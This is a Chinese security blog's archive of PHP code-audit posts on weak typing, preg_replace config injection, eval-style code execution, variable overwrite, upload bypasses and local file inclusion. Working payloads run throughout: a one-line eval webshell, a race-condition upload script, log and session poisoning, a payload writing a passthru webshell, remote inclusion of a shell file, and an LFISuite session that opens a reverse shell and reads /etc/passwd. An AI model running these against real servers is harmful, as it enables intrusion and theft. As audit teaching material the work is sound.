标签归档:代码审计

PHP弱类型安全问题汇总

1、== 与 ===

PHP中的两种比较符号:

$a==$b

$a===$b

区别在于$a==$b会转换类型后比较,而$a === $b会比较变量类型。

如果一个数值和一个字符串比较,那么会将字符串转换为数值。

<?php

var_dump('a' == 0); //true

var_dump('a123' == 0); //true

var_dump('123a' == 123); //true

var_dump('1' == 1);//true

var_dump(NULL == 0);//true

var_dump(NULL == false);//true

var_dump(NULL == '');//true

var_dump(0 === 'abcdefg');//false

?>

 

2、Magic Hash

在进行比较运算时,如果遇到了0e\d+这种字符串,就会将这种字符串解析为科学计数法,其最终都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是0e\d+这种字符串,那么PHP将会认为他们相同,都是0。

案例:

<?php

       if (isset($_GET['v1']) && isset($_GET['v2'])) {

           $logined = true;

        $v1 = $_GET['v1'];

        $v2 = $_GET['v2'];

        if (!ctype_alpha($v1)) {$logined = false;}

        if (!is_numeric($v2) ) {$logined = false;}

        if (md5($v1) != md5($v2)) {$logined = false;}



        if ($logined){

            echo "login success";

        } else {

            echo "login failed";

        }

    }

?>

一个是纯数字型,一个只能出现字符,最终需要两个md5相等。

md5('240610708')

//0e462097431906509019562988736854.

md5('QNKCDZO')

//0e830400451993494058024219903391

实际环境中概率非常低。0e\d+字符串如下。

QNKCDZO

0e830400451993494058024219903391

240610708

0e462097431906509019562988736854

s878926199a

0e545993274517709034328855841020

s155964671a

0e342768416822451524974117254469

s214587387a

0e848240448830537924465865611904

s214587387a

0e848240448830537924465865611904

s878926199a

0e545993274517709034328855841020

s1091221200a

0e940624217856561557816327384675

s1885207154a

0e509367213418206700842008763514

s1502113478a

0e861580163291561247404381396064

s1885207154a

0e509367213418206700842008763514

s1836677006a

0e481036490867661113260034900752

s155964671a

0e342768416822451524974117254469

s1184209335a

0e072485820392773389523109082030

s1665632922a

0e731198061491163073197128363787

s1502113478a

0e861580163291561247404381396064

s1836677006a

0e481036490867661113260034900752

s1091221200a

0e940624217856561557816327384675

s155964671a

0e342768416822451524974117254469

s1502113478a

0e861580163291561247404381396064

s155964671a

0e342768416822451524974117254469

s1665632922a

0e731198061491163073197128363787

s155964671a

0e342768416822451524974117254469

s1091221200a

0e940624217856561557816327384675

s1836677006a

0e481036490867661113260034900752

s1885207154a

0e509367213418206700842008763514

s532378020a

0e220463095855511507588041205815

s878926199a

0e545993274517709034328855841020

s1091221200a

0e940624217856561557816327384675

s214587387a

0e848240448830537924465865611904

s1502113478a

0e861580163291561247404381396064

s1091221200a

0e940624217856561557816327384675

s1665632922a

0e731198061491163073197128363787

s1885207154a

0e509367213418206700842008763514

s1836677006a

0e481036490867661113260034900752

s1665632922a

0e731198061491163073197128363787

s878926199a

0e545993274517709034328855841020

使用===来比较HASH数值来避免该问题

 

3、switch()

switch是数字类型的case的判断时,switch会将其中的参数转换为int类型

<?php

       $i ="1xxx";

       switch ($i) {

       case 0:

       case 1:

           echo $i;

       }

?>

 

4、in_array()

bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )

如果strict参数没有提供,那么in_array就会使用松散比较来判断$needle是否在$haystack中。当strince的值为true时,in_array()会比较needls的类型和haystack中的类型是否相同。

<?php

$xx = array(0,1,2,'3');

var_dump(in_array('abc', $xx));  //true

var_dump(in_array('1bc', $xx));      //true

var_dump(in_array('abc', $xx, TRUE));  //false

var_dump(in_array('1bc', $xx, TRUE));  //false

?>

可以看到比较时’abc’会转换为0,’1bc’会转换为1再进行比较。

 

5、strcmp()

int strcmp ( string $str1 , string $str2 )

参数 str1第一个字符串。str2第二个字符串。如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。

Freebuf的文章写到在5.3之前的php中,如果传入的比较数据非字符串类型,显示了报错的警告信息后,将return 0。

实际测试这个结论不太准确,但是的确与PHP版本有关

CentOS5.5 + PHP 5.1.6:

返回1,测试程序:

<?php

    $password="1234";

    var_dump(strcmp(array(1,2,3,'x'), $password)); //输出1

?>

Windows + PHP 5.3.29

返回NULL,测试程序:

<?php

    $password="1234";

    var_dump(strcmp(array(1,2,3,'x'), $password)); //输出NULL

?>

修改程序

<?php

       $password="1234";

       if (strcmp($_GET['password'], $password) == 0) {

              echo "Success";

       }

?>

访问http://127.0.0.1/x.php?password[]=xx

 

6、is_numeric()

bool is_numeric ( mixed $var )

如果变量是数字和数字字符串则返回 TRUE,否则返回 FALSE。

而如果该值是0x十六进制格式,同样会返回TRUE,就可能存在二次注入问题。

代码如下:

<?php

$name = $_GET['name'];

$con = mysql_connect("localhost","root","hehe123");

if (!$con)

{

die('Could not connect: ' . mysql_error());

}



mysql_select_db("test", $con);

if (is_numeric($name)) {

mysql_query("insert into users values (3," . $name . ",'test')");

}

?>

1′ union select 1,2,3的十六进制为0x312720756e696f6e2073656c65637420312c322c33

访问:http://127.0.0.1/x.php?name=0x312720756e696f6e2073656c65637420312c322c33

mysql> select * from users;

+----+-----------------------+----------+

| id | username              | password |

+----+-----------------------+----------+

|  3 | 1' union select 1,2,3 | test     |

+----+-----------------------+----------+

1 row in set (0.00 sec)

 

参考文章

http://www.phpchina.com/portal.php?mod=view&aid=40031

http://www.freebuf.com/articles/web/129607.html

http://www.freebuf.com/news/67007.html

http://blog.topsec.com.cn/ad_lab/php代码审计之弱类型引发的灾难/?utm_source=tuicool&utm_medium=referral

PHP写入配置文件getshell

看到小密圈的一个关于配置文件写入的题目,做一下记录。


问题代码:

1.php的内容如下:

<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

config.php的内容如下:

<?php
$option='test';

preg_replace — 执行一个正则表达式的搜索和替换
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement进行替换。


1)利用换行

首先请求:http://192.168.192.120/1.php?option=123%27;%0aphpinfo();//
然后查看下config.php的内容:

[root@server120 html]# cat config.php 
<?php
$option='123\';
phpinfo();//';

然后在请求:http://192.168.192.120/1.php?option=123
然后查看下config.php的内容:

[root@server120 html]# cat config.php 
<?php
$option='123';
phpinfo();//';

2)利用转义

传入参数\’,经过addslashes处理后,会变为\\\’,随后preg_replace会将两个连续的\合并为一个,也就是将\\\’转为\\’,这样我们就成功引入了一个单引号,闭合了前面的单引号。
请求:http://192.168.192.120/1.php?option=123\%27;phpinfo();//
然后查看下config.php的内容:

[root@server120 html]# cat config.php 
<?php
$option='123\\';phpinfo();//';

3)利用\0和$0

首先请求:http://192.168.192.120/1.php?option=;phpinfo();
然后查看下config.php的内容:

[root@server120 html]# cat config.php 
<?php
$option=';phpinfo();';

preg_replace的replacement中可以包含捕获组,\0或者$0表示完整的匹配。
然后访问:http://192.168.192.120/1.php?option=$0

[root@server120 html]# cat config.php 
<?php
$option='$option=';phpinfo();';';

或者访问http://192.168.192.120/1.php?option=%00
%00在经过addslashes处理后会变成\0

【代码审计】代码执行漏洞总结

搜索关键函数:eval(), assert(), preg_replace(), call_user_func(), call_user_func_array(), array_map(),array_filter()等等
以一句话木马为例:
<?php @eval($_POST[1]);?>
就是典型的代码执行。
(1)mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索subject中匹配pattern的部分, 以replacement进行替换。
当$pattern处存在e修饰符时(5.5.0版本/e 修饰符已经被弃用了),$replacement 会被当做php代码执行。
<?php
$string = 'April 15, 2003';
$pattern = '/(\w+) (\d+), (\d+)/ie';
$replacement = 'phpinfo();';
echo preg_replace($pattern, $replacement, $string);
?>

(2)mixed call_user_func( callable $callbank [ , mixed $parameter [ , mixed $…):
第一个参数为回调函数,第二个参数是回调函数的参数
代码如下:
<?php
$b = "phpinfo()";
call_user_func($_GET[‘h’],$b)
?>
http://127.0.0.1/test.php?h=assert

(3)
再来看一下变形一句话
<?php
array_filter(array($_GET[‘h’]),strrev('tressa'));
?>
strrev用于反转字符串
array_filter() 函数用回调函数过滤数组中的值。
http://127.0.0.1/test.php?h=phpinfo();
 

【代码审计】变量覆盖漏洞总结

1、$$变量覆盖:
很经典的一个例子
<?php
    $a=1;
    foreach (array("_COOKIE","_POST","_GET") as $request) {
        foreach ($$request as $key => $value) {
            echo $key."</br>";
            $$key = addslashes($value);
        }
    }
    echo $a;
?>

2、函数使用不当
1)int extract( array &$var_array , int $extract_type = EXTR_OVERWRITE , string $prefix = null )

运行代码:
<?php
$a = "Original";
$my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
extract($my_array);
echo "\$a = $a; \$b = $b; \$c = $c";
?>
运行结果:
$a = Cat; $b = Dog; $c = Horse

定义和用法
extract() 函数从数组中将变量导入到当前的符号表。
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。
第二个参数 type 用于指定当某个变量已经存在,而数组中又有同名元素时,extract() 函数如何对待这样的冲突。
该函数返回成功导入到符号表中的变量数目。
extract(array,extract_rules,prefix)
extract_rules的默认值为EXTR_OVERWRITE,表示如果有冲突,则覆盖已有的变量。

2)void parse_str( string $str , array &$arr )
parse_str() 函数把查询字符串解析到变量中。
语法
  parse_str(string,array)
参数
  string 必需。规定要解析的字符串。
  array 可选。规定存储变量的数组名称。该参数指示变量存储到数组中。

3)bool import_request_variables( string $type , string $prefix )
import_request_variables 函数可以在 register_global = off 时,把 GET/POST/Cookie 变量导入全局作用域中。
bool import_request_variables ( string types [, string prefix])  

参数中types字符串中允许为g、p、c字符,或者3个字符间任意的组合。其中,“g”表示GET变量,“p”表示POST变量,“c”表示cookies。注意:3个字符的排列顺序是有区别的,当使用“pg”时,POST变量将使用相同的名字覆盖$_GET变量;反之,当使用“gp”时,$_GET变量数组将优先于$_POST。

prefix 参数作为变量名的前缀,置于所有被导入到全局作用域的变量之前。所以如果你有个名为“userid”的 GET 变量,同时提供了“pref_”作为前缀,那么你将获得一个名为 $pref_userid 的全局变量。
注: 虽然 prefix 参数是可选的,但如果不指定前缀,或者指定一个空字符串作为前缀,你将获得一个 E_NOTICE 级别的错误。使用默认错误报告级别是不显示注意(Notice)级别的错误的。

【代码审计】文件上传漏洞总结

搜索关键函数:
move_uploaded_file() 接着看调用这个函数的代码是否存在为限制上传格式或者可以绕过。
1、未过滤或本地JS校验
2、黑名单扩展名过滤:
限制不够全面:IIS默认支持解析.asp,.cdx, .asa,.cer等。
例如下面的代码:

<?php
function getExt($filename){
 return substr($filename,strripos($filename,'.')+1);
}
if ($_FILES["file"]["error"] > 0){
 echo "Error: " . $_FILES["file"]["error"] . "<br />";
 }
else{
 $black_file = explode("|", "php|jsp|asp"); //允许上传的文件类型组
 $new_upload_file_ext = strtolower(getExt($_FILES["file"]["name"])); //取得被.隔开的最后字符串
 if (in_array($new_upload_file_ext,$black_file)){ 
 die(); 
 }
 else {
 $filename = time().".".$new_upload_file_ext;
 if(move_uploaded_file($_FILES["file"]["tmp_name"],"upload/".$filename)){
 echo "Upload Success";
 }
 }
 }
?>

不被允许的文件格式.php,但是我们可以上传文件名为1.php (注意后面有一个空格)。

3、getimagesize函数验证:
只要在文件头添加GIF89a即可,我们来测试一下
var_dump(getimagesize(“phpinfo.php”));
然后phpinfo.php文件的内容为:<?php phpinfo(); ?>
结果返回bool(false)
修改文件内容如下:
GIF89a
<?php phpinfo(); ?>
返回结果为
array(6) {
[0]=>
int(2573)
[1]=>
int(16188)
[2]=>
int(1)
[3]=>
string(27) “width=”2573″ height=”16188″”
[“channels”]=>
int(3)
[“mime”]=>
string(9) “image/gif”
}
4、文件头content-type验证绕过:
验证$_FILES[“file”][“type”]的值,这个是可控的。
5、函数误用导致上传绕过
以iconv()函数为例,在iconv转码的过程中,utf->gb2312(其他部分编码之间转换同样存在这个问题)会导致字符串被截断,如:$filename=”shell.php(hex).jpg”;(hex为0x80-0x99),经过iconv转码后会变成$filename=”shell.php “。
我们来测试一下,程序如下:

<?php
 $allow_file = explode("|", "gif|jpg|png"); //允许上传的文件类型组
 $new_upload_file_ext = strtolower(end(explode(".", $_FILES["file"]["name"]))); //取得被.隔开的最后字符串
 if (!in_array($new_upload_file_ext,$allow_file)){ //如果不在组类,提示处理
 echo "$new_upload_file_ext: False ext"; 
 }
 else {
 $filename = iconv("UTF-8", "gb2312", $_FILES["file"]["name"]);
 if(move_uploaded_file($_FILES["file"]["tmp_name"],"upload/".$filename)){
 echo "Upload ".$filename." Success";
 }
 }
?>

然后我们上传文件,添加空格,然后切换为Hex模式,将20修改为80~99的数。来看一下返回结果
Upload info.php Success
发现成功截断为info.php
6、竞争上传
主要涉及到的为copy函数。代码如下:

<?php
 $allowtype = array("gif","png","jpg");
 $path = "upload/";
 $filename = $_FILES['file']['name'];
 if (move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
 echo "file upload success.file path is: ".$path.$filename."\n<br />";
 }
 $new_upload_file_ext = strtolower(end(explode(".", $_FILES["file"]["name"])));
 if(!in_array($new_upload_file_ext,$allowtype)){
 #unlink($path.$filename);
 echo "Disallow type";
 }
?>

可以看到文件是先上传上去然后检查了扩展名,如果不在白名单内就删除,在一些CMS中会检查目录下所有非JGP的文件并删除。
我们可以生成临时文件(tmp.php)–>不断请求tmp.php在上层目录生成shell.php文件–>删除当前目录下tmp.php等非jpg文件,但留下了上层目录下的shell.php文件–>成功!
我们用Python多线程访问info.php,代码如下:

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import requests
import threading
import time
is_exit = False
def create_info():
    global is_exit
    while not is_exit:
        url = "http://172.16.100.1/test/upload/info.php"
        resp = requests.get(url)
for x in xrange(1,200):
    t = threading.Thread(target=create_info)
    t.setDaemon(True)
    t.start()
    print "start create_into threading %d" % x
def check_info():
    global is_exit
    print "start threading check shell.php:"
    url = "http://172.16.100.1/test/upload/shell.php"
    while True:
        resp = requests.get(url)
        if resp.status_code == 200:
            is_exit = True
            print "create file shell.php success."
            break
t = threading.Thread(target=check_info)
t.setDaemon(True)
t.start()
try:
    while t.isAlive():
        pass
    time.sleep(1)
except KeyboardInterrupt:
    print 'stopped by keyboard'
结果如下:
.....
start create_into threading 197
start create_into threading 198
start create_into threading 199
start threading check shell.php:
create file shell.php success.

结果如下:

…..
start create_into threading 197
start create_into threading 198
start create_into threading 199
start threading check shell.php:
create file shell.php success.

正确的做法:
1)上传扩展名白名单,使用in_array()或 利用===检查。
$allow_file = explode(“|”, “gif|jpg|png”); //允许上传的文件类型组
$new_upload_file_ext = strtolower(end(explode(“.”, $_FILES[‘upload_file’][‘name’]))); //取得被.隔开的最后字符串
if (!in_array($new_upload_file_ext,$allow_file)){ //如果不在组类,提示处理
exit(“$new_upload_file_ext: 不允许上传”);
}
2)文件名重命名为随机数
3)Nginx上配置访问上传目录下jsp或者jspx文件返回403

【代码审计】PHP文件包含漏洞利用总结

0x01 概述

PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而导致意外的文件泄露甚至恶意的代码注入。涉及文件包含漏洞的四个函数如下:

include()

include_once()

require()

require_once()

reuqire() 如果在包含的过程中有错,比如文件不存在等,则会直接退出,不执行后续语句。

include() 如果出错的话,仍然会继续执行后续语句。

require_once()和 include_once()功能与require()和 include()类似,如果一个文件已经被包含过了,则不会再次包含。

 

0x02 类型

分为本地文件包含和远程文件包含:

1、本地文件包含

最简单的一个文件包含案例:

<?php @include($_GET["file"])?>
[root@vincent html]# curl 127.0.0.1:8080/post.php?file=../../../etc/issue

CentOS release 6.5 (Final)

Kernel \r on an \m

2、远程文件包含

可以解析远程服务器文件,但是存在限制,如下:

allow_url_fopen = On

allow_url_include = On

 

0x03 利用姿势

1、上传图片或者附件。

上传头像、发表帖子处等。

 

2php://input(allow_url_include = On)

 

3、data协议(allow_url_include = On)

172.16.100.168:8080/post.php?file=data:text/plain,<?php system(‘cat /etc/passwd’);?>

 

4、php://filter

http://172.16.100.168:8080/post.php?file=php://filter/read=convert.base64-encode/resource=post.php

 

5SESSION

需要在session中有可控的部分

[root@server120 html]# php --info | grep save_path

session.save_path => /var/lib/php/session => /var/lib/php/session

[root@server120 html]# ls -al /var/lib/php/session/sess_

sess_2oi1kg5p1kaheouge8717h6dv1

常见路径如下:

/var/lib/php/sess_PHPSESSID

/var/lib/php/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

测试程序session.php如下:

<?php

session_start();

// store session data

$_SESSION['views']=$_GET['username'];

?>

访问http://192.168.192.120/session.php?username=<?php phpinfo(); ?>

[root@server120 html]# cat /var/lib/php/session/sess_0afdh9b5n6i853akpl17ct1em6

views|s:19:"<?php phpinfo(); ?>";

包含session文件http://192.168.192.120/lfi.php?file=/var/lib/php/session/sess_0afdh9b5n6i853akpl17ct1em6

 

6access logerror log

1)需要知道log文件的路径

可以先读一下nginx、apache默认的配置文件位置,例如/usr/local/nginx/conf/nginx.conf、/etc/httpd/conf/httpd.conf等等

可以尝试包含 /proc/self/cmdline 或者/proc/self/fd/<fd number>找到log文件(需要Root权限)

2)需要有权限

如果apache是通过yum安装的话,那么默认log文件的位置是/var/log/httpd/

我们首先包含http://172.16.100.168:8080/post.php?file=../../../../../var/log/httpd/access_log

发现返回界面为空,可能权限不够,我们来看一下权限

[root@vincent log]# ls -ld httpd/

drwx------. 2 root root 4096 8月  15 04:08 httpd/

[root@vincent httpd]# ll access_log

-rw-r--r-- 1 root root 2562 8月  15 07:41 access_log

这里因为httpd目录的other权限为0,所有apache的默认启动账户apache是无法进入这个目录的,我们为了测试修改一下权限。

[root@vincent log]# chmod 701 httpd/

然后访问http://172.16.100.168:8080/post.php?file=../../../../../var/log/httpd/access_log发现可以包含到access_log了。

我们将UA修改为<?php phpinfo();?>就可以了。另外可以直接写到参数中,不过因为使用Firefox提交172.16.100.168:8080/post.php?file=<?php phpinfo();?>的话记录到日志的内容会将尖括号和空格进行URL编码,所以使用BURP提交。

但是如果access log文件太大,基本无法包含成功,可以尝试包含error log,error log一般小一些。

我们随便访问一个不存在的路径,然后增加个referer:<?php phpinfo();?>就可以了,来看下error_log

[Mon Aug 15 08:19:40 2016] [error] [client 172.16.100.1] File does not exist: /var/www/html/12324324, referer: <?php phpinfo();?>

 

7、包含/proc/self/environ(Root权限)

当前的USER_AGENT变量会被写进了这个文件,所以我们修改UA即可。比如我们将UA修改为<?php phpinfo(); ?>包含即可解析。

 

8、/proc/self/fd/*(Root权限)

 

[root@server120 html]# ls -al /proc/14954/fd/

总用量 0

dr-x------. 2 root   root    0 1月   2 09:44 .

dr-xr-xr-x. 8 apache apache  0 12月 31 03:10 ..

lr-x------. 1 root   root   64 1月   2 09:44 0 -> /dev/null

l-wx------. 1 root   root   64 1月   2 09:44 1 -> /dev/null

l-wx------. 1 root   root   64 1月   2 09:44 2 -> /var/log/httpd/error_log

lrwx------. 1 root   root   64 1月   2 09:44 3 -> socket:[27115085]

lrwx------. 1 root   root   64 1月   2 09:44 4 -> socket:[27115086]

lr-x------. 1 root   root   64 1月   2 09:44 5 -> pipe:[37229533]

l-wx------. 1 root   root   64 1月   2 09:44 6 -> pipe:[37229533]

l-wx------. 1 root   root   64 1月   2 09:44 7 -> /var/log/httpd/access_log

lr-x------. 1 root   root   64 1月   2 09:44 8 -> /dev/urandom

lrwx------. 1 root   root   64 1月   2 09:44 9 -> /

 

可以通过遍历FD来包含error_log文件。

 

9、利用LFIphpinfo getshell

利用条件:

1)需要知道phpinfo路径;

2)网站存在文件包含漏洞;

3)需要有Web目录的写入权限;

我们知道在向服务器上任意php文件post请求上传数据时,都会生成临时文件,我们可以在临时文件删除之前包含临时文件来生成Webshell,可以phpinfo页面找到临时文件的路径及名字。

利用脚本如下:

https://github.com/hxer/vulnapp/blob/master/lfi_phpinfo/poc/lfi_phpinfo.py

 

需要修改三处:

1)Webshell的位置

payload += '<?php $c=fopen("./shell.php", "w");fwrite($c, \'<?php passthru($_GET["f"]);?>\');?>'

这里生成在当前目录下

2)phpinfo文件的位置

req = 'POST {path}/phpinfo.php?a={padding} HTTP/1.1\r\n'.format(path=php_path, padding=padding)

3)文件包含文件的位置

lfi_req = 'GET {path}/post.php?file=%s HTTP/1.1\r\n'.format(path=php_path)

然后执行Python文件

[root@vincent tmp]# python lfi.py 127.0.0.1 -p 8080

LFI with phpinfo()

==============================

INFO:__main__:Getting initial offset ...

INFO:__main__:found [tmp_name] at 162448

INFO:__main__:

Got it! Shell created in /tmp/g

INFO:__main__:Wowo! \m/

INFO:__main__:Shutting down...

然后看一下生成

[root@vincent tmp]# cat /var/www/html/shell.php

<?php passthru($_GET["f"]);?>

 

10、expect://

首先PHP需要支持该扩展

[root@server120 expect-0.3.3]# pecl install channel://pecl.php.net/expect-0.3.3

报错:

checking for tcl version... configure: error: not found

ERROR: `/var/tmp/expect/configure' failed

添加软链

[root@server120 lib]# ln -s /usr/lib64/tcl8.5 /usr/lib/tcl8.5

php.ini添加extension=expect.so

[root@server120 tmp]# curl http://192.168.192.120/1.php?file=expect://whoami

apache

 

11、phar://(PHP版本 > 5.3)

文件info.php是phpinfo文件,压缩

[root@server120 html]# zip test.zip info.php

adding: info.php (stored 0%)

相对路径:http://192.168.192.120/lfi.php?file=phar://test.zip/info.php

绝对路径:http://192.168.192.120/lfi.php?file=phar:///var/www/html/test.zip/info.php

 

12、zip://(PHP版本 > 5.3)

构造zip包的方法同phar,与phar不同的是压缩包与压缩包中文件中间写成%23

相对路径:http://192.168.192.120/lfi.php?file=zip://test.zip%23info.php

绝对路径:http://192.168.192.120/lfi.php?file=zip:///var/www/html/test.zip%23info.php

 

13、/var/log/secure(Root权限)

使用PHP代码作为用户名登录:ssh ‘<?php phpinfo(); ?>’@192.168.192.120

[root@server120 html]# cat /var/log/secure | grep php

Jan  2 14:12:28 server120 sshd[17482]: Invalid user ‘<?php phpinfo(); ?>’ from 192.168.190.201

但是secure文件仅root可读。

[root@server120 html]# ls -al /var/log/secure

-rw——-. 1 root root 1471 1月   2 14:12 /var/log/secure

所以需要中间件是Root权限启动才行。

 

0x04 绕过

1、本地文件包含

修改lfi.php代码如下:

<?php include($_GET[“file”].”.jpg”)?>

1)%00截断(magic_quotes_gpc=off & PHP版本 < 5.3.4):

http://127.0.0.1/test/post.php?file=./phpinfo.php%00

2)路径长度截断(php版本 < 5.2.8 & linux文件名长于4096,windows长于256):

?file=../../../../../../../../../etc/passwd/././././././.[…]/./././././.

3)点号截断(php版本 < 5.2.8 & window环境 & 点号需要长于256):

?file=../../../../../../../../../boot.ini/………[…]…………

 

2、远程文件包含

1)?file=http://example.com/shell.txt?

2)?file=http://example.com/shell.txt%23

 

0x05 自动化工具LFISuite

功能:

1、可以根据字典跑文件(自带字典pathtotest.txt和pathtotest_huge.txt)

2、可以获取LFI shell,并且反弹Bash。

支持8种方法:

 1) /proc/self/environ     

 2) php://filter           

 3) php://input            

 4) /proc/self/fd          

 5) access_log             

 6) phpinfo                

 7) data://                                 

 8) expect://

下载地址:git clone https://github.com/D35m0nd142/LFISuite.git

1、跑文件

--------------------

 1) Exploiter      

 2) Scanner        

x) Exit
--------------------

 -> 2



[*] Enter cookies if needed (ex: 'PHPSESSID=12345;par=something') [just enter if none] ->



[?] Do you want to enable TOR proxy ? (y/n) n



.:: LFI Scanner ::.



[*] Enter the name of the file containing the paths to test -> pathtotest.txt

[*] Enter the URL to scan (ex: 'http://site/vuln.php?id=') -> http://192.168.192.120/1.php?file=

[+] Retrieved 27 interesting paths.



 Logs: [0]

------------------------------------------------------------------------------------------

------------------------------------------------------------------------------------------



 /proc/self/environ: [0]

------------------------------------------------------------------------------------------

------------------------------------------------------------------------------------------



 /proc/self/fd: [0]

------------------------------------------------------------------------------------------

------------------------------------------------------------------------------------------



 Configuration: [0]

------------------------------------------------------------------------------------------

------------------------------------------------------------------------------------------



 Generic: [27]

------------------------------------------------------------------------------------------

http://192.168.192.120/1.php?file=/etc/passwd

http://192.168.192.120/1.php?file=/etc/group

......

2、获取LFI Shell

[*] Checking for LFISuite updates..

[-] No updates available.



--------------------

 1) Exploiter      

 2) Scanner        

x) Exit
--------------------

 -> 1



[*] Enter cookies if needed (ex: 'PHPSESSID=12345;par=something') [just enter if none] ->



[?] Do you want to enable TOR proxy ? (y/n) n



.:: LFI Exploiter ::.



____________________________



    Available Injections   

____________________________



 1) /proc/self/environ     

 2) php://filter           

 3) php://input            

 4) /proc/self/fd          

 5) access_log             

 6) phpinfo                

 7) data://                                 

 8) expect://                       

 9) Auto-Hack                              

x) Back    
____________________________



 -> 3



.:: php://input wrapper Injection ::.



[*] Enter the php://input vulnerable url (ex: 'http://site/index.php?page=') -> http://192.168.192.120/1.php?file=



[+] The website seems to be vulnerable. Opening a Shell..

[If you want to send PHP commands rather than system commands add php:// before them (ex: php:// fwrite(fopen('a.txt','w'),"content");]



apache@192.168.192.120:/var/www/html$ whoami

apache



apache@192.168.192.120:/var/www/html$ reverseshell

[WARNING] Make sure to have your netcat listening ('nc -lvp port') before going ahead.



[*] Enter the IP address to connect back to -> 192.168.192.120

[*] Enter the port to connect to [default: 12340] -> 2345

反弹shell

[root@server120 logs]# nc -vv -l -p 2345

Listening on any address 2345 (dbm)

Connection from 192.168.192.120:47651

bash: cannot set terminal process group (32241): Invalid argument

bash: no job control in this shell

bash-4.4$ cat /etc/passwd

cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin